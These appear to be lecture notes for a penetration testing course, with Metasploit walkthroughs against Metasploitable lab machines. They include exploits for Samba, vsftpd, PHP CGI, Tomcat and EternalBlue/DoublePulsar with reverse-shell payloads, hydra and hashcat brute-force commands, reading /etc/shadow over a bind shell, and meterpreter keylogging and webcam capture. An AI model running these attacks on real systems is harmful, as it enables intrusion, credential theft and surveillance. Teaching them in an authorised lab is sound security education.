Penetration Testing Phases

1. Reconnaissance and Information Gathering

- Initial phase of penetration testing.
- Collect public information about the target.
- Identify potential vulnerabilities.
- Formulate testing strategy.

- Passive information gathering minimizes detection risk.
    - Gathering information from public sources is called OSINT.
    - Techniques used are Web Scraping, Google Dorking, and social media profiling.

- Tools: host, nslookup, dig, whois, knockpy, netdiscover, traceroute, whatweb, theHarvester, sherlock, wfw00f, Google Dorking, OSINT framework.

2. Scanning and Vulnerability Analysis

- Second phase of penetration testing.
- Discover open ports, services, OS versions, etc.
- Identify vulnerabilities, weaknesses, and misconfigurations.
- Active information gathering - tools interact with the target.

- Permission needed from system owner before active scanning.

- Tools: nmap, searchsploit, nessus, OpenVAS, MSF.

3. Exploitation and Gaining Access

- Exploit identified weaknesses to gain unauthorized access.
    - Exploit known vulnerabilities.
    - Exploit default configurations and stolen credentials.
    - Brute Force weak credentials.
    - Launch social engineering attacks.
    - Launch phishing attacks.

- Tools: MSF, Exploit DB, Burp Suite, SQLmap, BeEF, Social Engineering Toolkit, Cobalt Strike, PowerSploit.
    - Focus on Metasploit Framework.

Vulnerability, Malware, Exploit, Payload, and Shell Code

Definitions

- **Vulnerability**: Weakness in software, OS, hardware, or system configurations exploitable by attackers. (e.g., CVE-2017-0144)
- **Malware**: Self-contained executable designed to harm a system. (e.g., WannaCry ransomware)

- **Exploit**: Code or technique that leverages a vulnerability to gain unauthorized access or execute arbitrary code. (e.g., EternalBlue)

    - Requires a vulnerability to exist.

Shellcode vs. Payload

Feature	Shellcode	Payload
Definition	Small piece of standalone executable code	Piece of code delivered via exploit to perform a specific action
Purpose	Spawn a shell or execute commands	Data exfiltration, malware installation, etc.
Complexity	Compact and self-contained	Can be complex
Execution Context	Executed within a vulnerable application	Delivered to the target system
Types	Local and remote shellcode	Command execution, information gathering, RATs, downloaders, ransomwares

Environment Setup

1. Kali Linux (Attacker Machine)
2. Metasploitable 2 (Linux based target)
3. Metasploitable3 (Windows based target)

Penetration Testing Phases (Continued)

3. Exploitation and Gaining Access (Continued)

- Focus on Metasploit Framework (MSF).

Recap of MSF and msfconsole

- Metasploit Framework provides tools for discovering and exploiting vulnerabilities.
- MSF files are located in `/usr/share/metasploit-framework/` in Kali Linux.
- Modules are located under `/usr/share/metasploit-framework/modules/`, including exploits, auxiliary, post, payloads, encoders, nops, and evasion.
- Auxiliary modules are used for scanning and vulnerability analysis.
- Exploit modules contain scripts to exploit specific vulnerabilities.

msfconsole Commands

- `help`: Lists available commands and descriptions.
- `banner`: Prints ASCII art banner with version information.
- `exit/quit`: Exits msfconsole.
- `show`: Displays available modules (exploits, payloads, auxiliary, encoders).
- `search`: Narrows down the list of modules.
- `info`: Provides information about a specific module.
- `use`: Changes context to a specific module.
- `back`: Moves out of the current context.
- `show options`: Displays required parameters for a module.
- `show advanced`: Displays advanced options for a module.
- `show payloads`: Displays compatible payloads for an exploit.
- `show targets`: Displays supported OS targets for an exploit.
- `set param value`: Updates the value of a parameter.
- `unset param`: Removes a configured parameter. `unset all` removes all assigned variables.
- `setg`: Sets a parameter value globally for all modules.
- `run`: Executes the loaded module.

Exploiting Default Configurations/ Credentials/Info Disclosure

Exploiting Banner of Telnet Service

1. Run `nmap` to check the telnet service on port 23 of Metasploitable2.
2. Login using `telnet <ip of M2>`.
3. The telnet banner displays information, such as default credentials (msfadmin/msfadmin).
4. This is information disclosure from `/etc/issue.net` on M2.

Exploiting Banner of Apache Server

- `nmap` output indicates Apache httpd 2.2.8 running on port 80 of Metasploitable2.
- Access `http://10.0.2.7:80` in a browser to see the default login credentials.
- Alternatively, use `curl <ip of M2>:80` command line utility.

Exploiting Bind Shell

- `nmap` shows a bindshell service running on port 1524 of Metasploitable2.
- Use `nc <ip of M2> 1524` to connect to the bind shell.

```
kali@kali $ nc <ip of M2> 1524 root@metasploitable# whoami root
root@metasploitable# cat /etc/shadow
```

Penetration Testing Phases (Continued)

3. Exploitation and Gaining Access (Continued)

- Focus on Metasploit Framework (MSF).

Exploiting Vulnerable Samba 3.0.20 on Metasploitable2

- Samba is a free software re-implementation of the SMB networking protocol.
- SMB provides shared access to files and printers.
- NetBIOS is used by Windows systems for resource sharing. It uses ports 137, 138, and 139.

- NetBIOS provides session, datagram, and name services.

- Use `nmap -sV <IP of M2>` to identify services.

- Use `auxiliary/scanner/smb/smb_version` module to find the exact Samba version.

```
msf6> use auxiliary/scanner/smb/smb_version msf6
auxiliary(scanner/smb/smb_version)> show options msf6
auxiliary(scanner/smb/smb_version)> set RHOSTS <IP of M2>
msf6 auxiliary(scanner/smb/smb_version)> run
```

- Find exploits via:
  - Google search
  - Exploit-DB
  - CVE Details
  - Rapid7 Vulnerability & Exploit Database
  - `searchsploit samba 3.0.20`
  - `msf6> search samba 3.0.20`

- Exploit using `exploit/multi/samba/usermap_script`.

```
msf6> use exploit/multi/samba/usermap_script msf6
exploit(multi/samba/usermap_script)> show options or info
```

- Check available payloads with `show payloads`.

- Set `RHOSTS` and `payload`:

```
msf6 exploit(multi/samba/usermap_script)> set RHOSTS <IP of
M2> msf6 exploit(multi/samba/usermap_script)> set payload
cmd/unix/reverse_netcat msf6 exploit(multi/samba/
usermap_script)> show options
```

- Run the exploit: `run`.

```
msf6 exploit(multi/samba/usermap_script)> run
```

- Exploit delivered a script triggering the vulnerability, using `cmd/unix/reverse_netcat` payload.
- Inside Kali Linux, visit `/usr/share/Metasploit-framework/modules/payloads/` to check out different categories of payloads (singles, stagers, stages).

Exploiting Vulnerable vsftpd 2.3.4 on Metasploitable2

- FTP is used for transferring files, but is not secure as it transmits data in plain text.
- VSFTPD is an FTP server designed with security in mind.
- It includes SSL/TLS support for encrypted connections.
- Use `nmap -sV <ip of M2>` to check for FTP service.
- Check if vsftpd 2.3.4 is vulnerable:
  - `searchsploit vsftpd 2.3.4`
  - `nmap -p 21 --script vuln <ip of M2>`
  - `msf6> search vsftpd`
- Use the module `exploit/unix/ftp/vsftpd_234_backdoor`.

```
msf6> use exploit/unix/ftp/vsftpd_234_backdoor msf6
exploit(unix/ftp/vsftpd_234_backdoor)> show payloads msf6
exploit(unix/ftp/vsftpd_234_backdoor)> show options
```

- Set the parameters and run the exploit.

Penetration Testing Phases (Continued)

3. Exploitation and Gaining Access (Continued)

- Focus on Metasploit Framework (MSF).

Exploiting apache2.2.8 and PHP 5.2.4 on Metasploitable2

- Target is running Apache httpd 2.2.8 and PHP 5.2.4.
- Use `searchsploit apache 2.2.8` to find exploits.
- Use `exploit/multi/http/php_cgi_arg_injection` module.

```
msf6> use exploit/multi/http/php_cgi_arg_injection msf6
exploit(multi/http/php_cgi_arg_injection)> show options msf6
exploit(multi/http/php_cgi_arg_injection)> show payloads msf6
exploit(multi/http/php_cgi_arg_injection)> set RHOSTS <Target
IP> msf6 exploit(multi/http/php_cgi_arg_injection)> set
payload <payload> msf6 exploit(multi/http/
php_cgi_arg_injection)> run
```

- Meterpreter session obtained with `www-data` privileges.
- Meterpreter resides in memory and doesn't write to disk.

Launching a Brute Force Attack on SSH Service of Metasploitable2

- OpenSSH 4.7p1 service is running on port 22.
- `nmap -p 22 --script vuln <ip of M2>` shows the service is not vulnerable directly.
- Launch a brute force attack due to potentially weak credentials.

Offline vs Online Password Attacks:

- **Offline Password Attacks:**
  - Obtain password hashes from compromised systems.
  - Use specialized software and hardware for cracking (e.g., hashcat, John the Ripper).
- **Online Password Attacks:**
  - Target the authentication process in real-time.
  - Subject to lockout, CAPTCHA, and rate-limiting.
  - Tools: hydra, medusa.

Common Password Cracking Techniques:

- **Brute Force Attack:**
  - Try many usernames and passwords.
  - Effective against default or weak passwords.

- **Dictionary Attack:**
    - Use dictionary words with added numbers/symbols.
- **Rainbow Tables:**
    - Use precomputed password hashes for lookup.
    - Less effective with salting.
- **Man-In-The-Middle Attack:**
    - Intercept communications between a user and a platform.
- **Keyloggers:**
    - Record user keystrokes.

Exploiting Vulnerable Tomcat Service on Metasploitable2

Hands on Practice in Offline Password Cracking using hashcat

- Hashcat: password-cracking tool for recovering hashed passwords.
- John the Ripper: another popular password cracker.

Hashcat Usage:

1. Generate MD5 hash:

```
bash $ echo -n "arif" | openssl dgst -md5
```

2. Create a hash file:

```
bash $ echo "d53d757c0f838ea49fb46e09cbcc3cb1" > hash.txt
```

3. Create a wordlist:

```
bash $ echo -e "hello\nmsfadmin\narif\nroot\nrauf" >
wordlist.txt
```

4. Use hashcat for dictionary attack:

```
bash $ hashcat -m 0 -a 0 hash.txt wordlist.txt
```

5. Use hashcat for brute-force attack:

```
bash $ hashcat -m 0 -a 3 hash.txt ?a?a?a?a
```

Hands on Practice in Online Password Cracking using Hydra

- Hydra: online password cracking tool.

Hydra Usage:

1. Create username list:

```
bash $ echo -e "admin\nroot\ntest123\nmsfadmin\nadmin123” > usernames.txt
```

2. Create password list:

```
bash $ echo -e "helloworld\nmsfadmin\npassword123 " > passwords.txt
```

3. Run Hydra:

```
bash $ hydra -L usernames.txt -P passwords.txt ssh://<ip of M2> -oHostKeyAlgorithms=+ssh-dss
```

Hands on Practice in Online Password Cracking using MSF

- Metasploitable2 has weak passwords.
- Create username and password files.

  ``` usernames.txt admin root test123 msfadmin admin123

  passwords.txt helloworld msfadmin password123 ```
- Search for ssh login module:

```
msf6> search ssh_login
```

- Use the module and set parameters:

```
msf6> use auxiliary/scanner/ssh/ssh_login msf6 auxiliary(scanner/ssh/ssh_login)> show options msf6 auxiliary (scanner/ssh/ssh_login)> set RHOSTS <IP> msf6 auxiliary (scanner/ssh/ssh_login)> set USER_FILE /home/kali/usernames.txt msf6 auxiliary (scanner/ssh/ssh_login)> set PASS_FILE /home/kali/passwords.txt msf6 auxiliary (scanner/ssh/ssh_login)> set BRUTEFORCE_SPEED 5 msf6 auxiliary (scanner/ssh/ssh_login)> set VERBOSE true msf6 auxiliary (scanner/ssh/ssh_login)> run
```

- Access the shell:
```

```
msf6 auxiliary(scanner/ssh/ssh_login)> sessions msf6
auxiliary (scanner/ssh/ssh_login)> sessions -i 2
```

Exploiting Vulnerable Tomcat Service on Metasploitable2

1. Use `auxiliary/scanner/http/tomcat_mgr_login`:

```
msf6> use auxiliary/scanner/http/tomcat_mgr_login msf6
auxiliary(scanner/http/tomcat_mgr_login)> set RHOSTS <IP of
M2> msf6 auxiliary(scanner/http/tomcat_mgr_login)> set RPORT
8180 msf6 auxiliary(scanner/http/tomcat_mgr_login)> set
USERNAME tomcat msf6 auxiliary(scanner/http/
tomcat_mgr_login)> set PASSWORD tomcat msf6
auxiliary(scanner/http/tomcat_mgr_login)> run
```

2. Exploit using `exploit/multi/http/tomcat_mgr_deploy`:

```
msf6> use exploit/multi/http/tomcat_mgr_deploy msf6
exploit(multi/http/tomcat_mgr_deploy)> show options/info msf6
exploit(multi/http/tomcat_mgr_deploy)> set HttpPassword
tomcat msf6 exploit(multi/http/tomcat_mgr_deploy)> set
HttpUsername tomcat msf6 exploit(multi/http/
tomcat_mgr_deploy)> set RHOSTS <M2> msf6 exploit(multi/http/
tomcat_mgr_deploy)> set RPORT 8180 msf6 exploit(multi/http/
tomcat_mgr_deploy)> run meterpreter > getuid Server username:
tomcat55
```

3. Meterpreter: Metasploit attack payload deployed using in-memory DLL injection.

Penetration Testing Phases (Continued)

3. Exploitation and Gaining Access (Continued)

- Focus on Metasploit Framework (MSF).

Instructor To-Do List

- Explore and potentially exploit vulnerable services on Metasploitable2:
  - UnrealIRCd (port 6667)
  - distccd (port 3632)
  - VNC (port 5900)
  - SMTP (port 25)
  - PostgreSQL (port 5432)
- Launch a brute-force attack on Telnet (port 23) on Metasploitable2.

Attacking Windows Machine (Metasploitable3)

- Exploit vulnerabilities in Windows using Metasploitable3 (Windows 2000 R8 with vagrant:vagrant credentials).

Exploiting NetBIOS/SMB using EternalBlue

- **EternalBlue**: Exploit targeting a vulnerability (CVE-2017-0144) in Microsoft's SMB protocol implementation.
- **Affected Systems**: Windows XP, Vista, 7, 8.1, 10, Server 2003, 2008, 2008 R2, 2012, 2012 R2, 2016.
- **Purpose**: Remote code execution by sending crafted packets to the SMBv1 service.
- **Impact**: Used in WannaCry ransomware attack.

- **Patch Status**: Microsoft released MS17-010.

- Use `nmap -sV <IP of M3> -p-` to identify vulnerable services.

- NetBIOS uses ports 137, 138, and 139.

- Exploit:

```
msf6> search eternalblue msf6> use auxiliary/scanner/smb/
smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010)> show
options msf6 auxiliary(scanner/smb/smb_ms17_010)> set RHOST
<IP of M3> msf6 auxiliary(scanner/smb/smb_ms17_010)> run
msf6> use exploit/windows/smb/ms17_010_eternalblue msf6
exploit(windows/smb/ms17_010_eternalblue)> show options msf6
exploit(windows/smb/ms17_010_eternalblue)> set RHOST <IP of
M3> msf6 exploit(windows/smb/ms17_010_eternalblue)> run
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
```

Exploiting NetBIOS/SMB using EternalBlue DoublePulsar

- **DoublePulsar**: Kernel-mode backdoor installed after a system is compromised (e.g., via EternalBlue).
- **Purpose**: Maintain persistent access and execute additional payloads.
- **How it works**: Injected into memory, listens for commands.

- **Patch Status**: Patch the underlying vulnerability (e.g., SMBv1).

- Install Wine to run DoublePulsar:

```
bash dpkg --add-architecture i386 && apt-get update && apt-
get install wine32 wine msiexec /i python-2.7.14.msi
```

- Download and copy DoublePulsar in MSF:

```
bash git clone https://github.com/w0rtw0rt/EternalBlue sudo
cp eternalblue-doublepulsar.rb /usr/share/metasploit-
framework/modules/exploits/windows/smb sudo cp -r deps/ /usr/
share/metasploit-framework/modules/exploits/windows/smb cp -r
deps/ /home/kali cp eternalblue-doublepulsar.rb /home/kali
```

Penetration Testing Phases (Continued)

3. Exploitation and Gaining Access (Continued)

- Focus on Metasploit Framework (MSF).

Exploiting NetBIOS/SMB using EternalBlue DoublePulsar (Continued)

- Execute the exploit: `msf6 > use exploit/windows/smb/ eternalblue_doublepulsar msf6 exploit(windows/smb/ eternalblue_doublepulsar)> show options msf6 exploit(windows/ smb/eternalblue_doublepulsar)> set RHOSTS <IP of M3> msf6 exploit(windows/smb/eternalblue_doublepulsar)> set TARGETARCHITECTURE x64 msf6 exploit(windows/smb/ eternalblue_doublepulsar)> set payload windows/x64/ meterpreter/reverse_tcp msf6 exploit(windows/smb/ eternalblue_doublepulsar)> set PROCESSINJECT lsass.exe msf6 exploit(windows/smb/eternalblue_doublepulsar)> set DOUBLEPULSARPATH /home/kali/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/ msf6 exploit(windows/smb/ eternalblue_doublepulsar)> set ETERNALBLUEPATH /home/kali/ EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/ msf6 exploit(windows/smb/eternalblue_doublepulsar)> set WINEPATH / root/.wine/drive_c/ msf6 exploit(windows/smb/ eternalblue_doublepulsar)> run`
- DoublePulsar is a non-persistent backdoor, so re-exploitation or persistent payload deployment is necessary after a reboot.

Meterpreter

- Metasploit attack payload residing in memory (DLL injection).
- Stealthy: resides in memory, no disk writes, injects into compromised processes, encrypted communications.
- Powerful: channelized communication.
- Extensible: features augmented at runtime.

Meterpreter Commands

- `help`: Displays commands.
- `cd`: Change directory.
- `pwd`: Present working directory.
- `getlwd`: Local working directory.
- `ls`: List files.
- `search`: Locate files.
- `cat`: Display file contents.
- `edit`: Edit files.
- `hashdump`: Dump password hashes.
- `sysinfo`: System information.
- `download`: Download files.
- `upload`: Upload files.
- `shell`: Open a shell.
- `execute`: Execute commands.
- `ps`: List processes.
- `kill`: Terminate processes.
- `reboot/shutdown`: Reboot/shutdown target.

- `screenshot`: Take a screenshot.

- `webcam_snap`: Capture webcam image.

- `record_mic`: Record audio.
- `keyscan_start`: Start keylogger.
- `keyscan_dump`: Dump keystrokes.
- `keyscan_stop`: Stop keylogger.
- `ipconfig`: Display network interfaces.
- `arp`: Display ARP table.
- `netstat`: Display network connections.
- `background`: Background session.
- `sessions -i <SID>`: Interact with a session.
- `getuid`: Display current user.
- `getsystem`: Attempt privilege elevation.